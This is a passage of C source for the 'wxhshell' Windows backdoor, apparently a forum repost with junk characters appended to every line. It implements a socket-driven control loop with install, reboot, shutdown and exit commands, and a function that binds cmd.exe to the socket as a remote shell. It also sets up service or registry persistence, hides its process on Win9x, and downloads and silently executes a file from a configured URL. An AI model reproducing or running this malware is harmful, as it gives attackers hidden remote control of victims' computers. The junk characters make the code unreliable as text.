  else { s+(8KYTs`  
VTV-$Du[}  
    switch(cmd[0]) { H~$a6T"&  
  XGO_n{ x  
  // 帮助 n\P{Mc  
  case '?': {  oR5`-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U~T/f-CT  
    break; ,m:MI/ )p  
  } 4{J%`H`Q!  
  // 安装 _y8)jD"  
  case 'i': { 7pGlbdS  
    if(Install()) 0&w.QoZY(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ox+WY  
    else aIm\tPbb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $I tehy  
    break; my*/MC^O  
    } k'S/nF A  
  // 卸载 &PGU%"rN  
  case 'r': { g.,IQ4o  
    if(Uninstall()) #PFf`7b,z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?p}m[9@  
    else mT)iN`$Y@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C$?dkmIt  
    break; /gPn2e;  
    } 3 D+dM0wM  
  // 显示 wxhshell 所在路径 >S!QvyM(V  
  case 'p': { ^Ji5)c  
    char svExeFile[MAX_PATH]; ffSecoX  
    strcpy(svExeFile,"\n\r"); Rr:,'cXGi  
      strcat(svExeFile,ExeFile); 3 UBG?%!$f  
        send(wsh,svExeFile,strlen(svExeFile),0); & }}o9  
    break; @y}1%{,%  
    } h"q`gj  
  // 重启 ymzlRs1^Ct  
  case 'b': { N.3M~0M*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }9@ ,EEhg  
    if(Boot(REBOOT)) }t]CDa_n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~xzRx$vU  
    else { QDyL0l{C  
    closesocket(wsh); ~I!7]i]"*?  
    ExitThread(0); nKV1F0-  
    } vu1F  
    break; O[q {y  
    } dx:],VB  
  // 关机 6R#f 8  
  case 'd': { -x7b6o>$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [['un\~r~  
    if(Boot(SHUTDOWN)) s_VP(Fe@K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZg Kex;c  
    else { MT|}[|_  
    closesocket(wsh); gwT"o  
    ExitThread(0); uE+]]ir  
    } J6|5*|*^  
    break; {aAA4.j^  
    } !7Ta Vx}`(  
  // 获取shell ~u-mEdu3C  
  case 's': { R`A @F2  
    CmdShell(wsh); YB~}!F [(  
    closesocket(wsh); rHh<_5-/>  
    ExitThread(0); llI`"a  
    break; `2U zJ~  
  } .3!=]=  
  // 退出 a B%DIH,  
  case 'x': { rT5dv3^MW!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >* dqFZF  
    CloseIt(wsh); vB KBMnSd  
    break; ZOfyy E  
    } nIKh<ws4z  
  // 离开 ^P\(IDJCo  
  case 'q': { ?r#e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jsc1B  
    closesocket(wsh); BPe5c :z  
    WSACleanup(); h_Q9 c  
    exit(1); 0I& !a$:  
    break; {_l@ws  
        } !{"{(h)+@  
  } GuNzrKDr  
  } xR\$2(  
/J8y[aa  
  // 提示信息 (wnkdI{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ErHbc 2  
} ;ukwKf s  
  } i\2~yXw\  
Z6A*9m  
  return; ]xfu @''  
} Tf<1Z{9  
@9-z8PyF  
// shell模块句柄 !A,]  
int CmdShell(SOCKET sock) +A3@{ 2  
{ CsJw;]dYI  
STARTUPINFO si; x{j|Tf3,G  
ZeroMemory(&si,sizeof(si)); J9zSBsp_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; % sbDH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,QdUfM  
PROCESS_INFORMATION ProcessInfo; {-09,Q4[&  
char cmdline[]="cmd"; IXe[JL:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j"9bt GX  
  return 0; nYLq%7}k  
}  w:#yu  
5_x8!v  
// 自身启动模式 6 `+dP"@  
int StartFromService(void) 1c8 J yp  
{ V^As@P8,'(  
typedef struct ZM`6z S!  
{ w =^QIr%  
  DWORD ExitStatus; Ao69Qn  
  DWORD PebBaseAddress; {'NdN+_C  
  DWORD AffinityMask; bb`GV  
  DWORD BasePriority; {.K >9#^m  
  ULONG UniqueProcessId; 'C)`j{CS  
  ULONG InheritedFromUniqueProcessId; W MU9tq[  
}   PROCESS_BASIC_INFORMATION; )xy1 DA  
(:4N#p  
PROCNTQSIP NtQueryInformationProcess; uK2MC?LP  
b*\K I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! av B&Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?k CK$P  
D .oX>L#:  
  HANDLE             hProcess; Az8>^|@  
  PROCESS_BASIC_INFORMATION pbi; PV<=wc^  
1>r7s*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RtwlPz<~S  
  if(NULL == hInst ) return 0; }K!}6?17T  
p'M5]G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [#.E=s+&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M,7A|?O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^$}9 Enj+Y  
~Pq1@N>n  
  if (!NtQueryInformationProcess) return 0; 01uMbtM  
Y?a*-"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wC+_S*M-K  
  if(!hProcess) return 0; $6kVhE!;  
$vlq]6V8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PGF=q|j9K  
* 7u~`  
  CloseHandle(hProcess); O0`sg90,C  
rlEEf/m:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o{f|==<t3#  
if(hProcess==NULL) return 0; ACxOC2\n  
q|;_G#4  
HMODULE hMod; 61L  vT"  
char procName[255]; MF)Xc\}0p  
unsigned long cbNeeded; U` uP^  
r BQFC 4L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7=(r k  
rJ|Q%utYz  
  CloseHandle(hProcess); DN3#W w2[r  
BQu_)@  
if(strstr(procName,"services")) return 1; // 以服务启动 kclClB:PS  
W ZdEfY{  
  return 0; // 注册表启动 %5Hsd  
} >>oR@  
#9M6 q  
// 主模块 ^x-vOG lR  
int StartWxhshell(LPSTR lpCmdLine) uu@Y]0-  
{ ?f<JwF<  
  SOCKET wsl; nk|j(D  
BOOL val=TRUE; /n;Ll](ri  
  int port=0; :34]}`-  
  struct sockaddr_in door; `?r]OVe{y  
S{' /=Px+  
  if(wscfg.ws_autoins) Install(); ErIAS6HS'  
U ]jHe  
port=atoi(lpCmdLine); (N{Rda*8  
3omFd#EP  
if(port<=0) port=wscfg.ws_port; " uf*?m3  
dfl| 6R  
  WSADATA data; S<HR6Xw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o=@ 0Bd8  
d$Y3 a^O|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t\Pn67t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nm5zX,  
  door.sin_family = AF_INET; ChO?Lm$y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uTTM%-DMHT  
  door.sin_port = htons(port); })RT2zw}  
1henQiIO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B7BXS*_b  
closesocket(wsl); zea=vx>`  
return 1; v'gP,UO-%D  
} )[_A{#&  
2NHuZ.af  
  if(listen(wsl,2) == INVALID_SOCKET) { VtIPw&KHW  
closesocket(wsl); erTb9`N4  
return 1; )NAC9:8!  
} GG%X1c8K  
  Wxhshell(wsl); {uH 4j4)2  
  WSACleanup(); `2`Nu:r^  
m}/LMY  
return 0; 65X31vU  
v|uY\Z  
} tVVnQX  
|:yQOq|  
// 以NT服务方式启动 <q|IP_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3 d $  
{ Z)}q=NjA  
DWORD   status = 0; 7oaa)  
  DWORD   specificError = 0xfffffff; !_0kn6 S5  
uis;S)+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pl^-]~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y*nzOD$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4bXAA9"  
  serviceStatus.dwWin32ExitCode     = 0; tTrUVuZ  
  serviceStatus.dwServiceSpecificExitCode = 0; B~z P!^m  
  serviceStatus.dwCheckPoint       = 0; oEPO0O  
  serviceStatus.dwWaitHint       = 0; HgL*/d  
$T7hY$2Q l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {g9?Eio^F^  
  if (hServiceStatusHandle==0) return; AdBF$nn[  
kw)@[1U  
status = GetLastError(); wXw pKm  
  if (status!=NO_ERROR) iC- ?F cA  
{ 5c6CH k`:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gNk x]bm  
    serviceStatus.dwCheckPoint       = 0; Y^5X>  
    serviceStatus.dwWaitHint       = 0; c*MSd  
    serviceStatus.dwWin32ExitCode     = status; " a;z  
    serviceStatus.dwServiceSpecificExitCode = specificError; S~^0 _?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &X0/7)*"v  
    return; nsR^TD;  
  } uV1H iv-  
V# Mw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bSHlR#!6  
  serviceStatus.dwCheckPoint       = 0; Q)N$h07R  
  serviceStatus.dwWaitHint       = 0; QYDTb=h~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8\c= Un  
} {MX_t/o=f  
XP'Mv_!Z  
// 处理NT服务事件,比如:启动、停止 <jd S0YT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &We1i &w  
{ dLOUL9hf  
switch(fdwControl) N{Og; roGD  
{ - bL 7M5  
case SERVICE_CONTROL_STOP: +o&E)S}wP  
  serviceStatus.dwWin32ExitCode = 0; VU,\OOp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W}B 4^l  
  serviceStatus.dwCheckPoint   = 0; [{3WHS.  
  serviceStatus.dwWaitHint     = 0; <()xO(  
  { $s2Ty1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); etF?,^)h=g  
  } \ZrLh,6f.  
  return; ~N+lI\K  
case SERVICE_CONTROL_PAUSE: /Z<"6g?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dz, Fu:)  
  break; .N~qpynY  
case SERVICE_CONTROL_CONTINUE: U!m-{7s$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #sit8k`GR8  
  break; :&$4&\_F  
case SERVICE_CONTROL_INTERROGATE: Bm%.f!`  
  break;  /bA\O   
}; y@g{:/cmO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g;en_~g3j  
} uYjJDLYoHl  
kfb+OE:7  
// 标准应用程序主函数 0^44${bA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3}O.B r|  
{ g3{)AX[Uy  
e #l/jFJU  
// 获取操作系统版本 rN? L8  
OsIsNt=GetOsVer(); -F,o@5W>Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U,/NygB~  
Y+N^_2@+C  
  // 从命令行安装 #|*;~:fz  
  if(strpbrk(lpCmdLine,"iI")) Install(); ixN>KwH  
z79L2lJn  
  // 下载执行文件 |7WzTz  
if(wscfg.ws_downexe) { &|<~J (L;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .UbmU^y|  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;@K,>$ur-  
} G[u_Uu=>  
Q(m} Sr4  
if(!OsIsNt) { G 8|[.n  
// 如果时win9x,隐藏进程并且设置为注册表启动 AG) N^yd  
HideProc(); #FF5xe  
StartWxhshell(lpCmdLine); 9Vk61x6  
} R7T"fN  
else %kD WUJZ  
  if(StartFromService()) AF D/ J  
  // 以服务方式启动 YlOYgr^  
  StartServiceCtrlDispatcher(DispatchTable); 4@#1G*OO  
else k1 >%wR  
  // 普通方式启动 {npKdX  
  StartWxhshell(lpCmdLine); aA%$<ItH  
G~)jk+Qq  
return 0; 'ntb.S)  
}
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只看该作者 1 发表于: 2006-10-10
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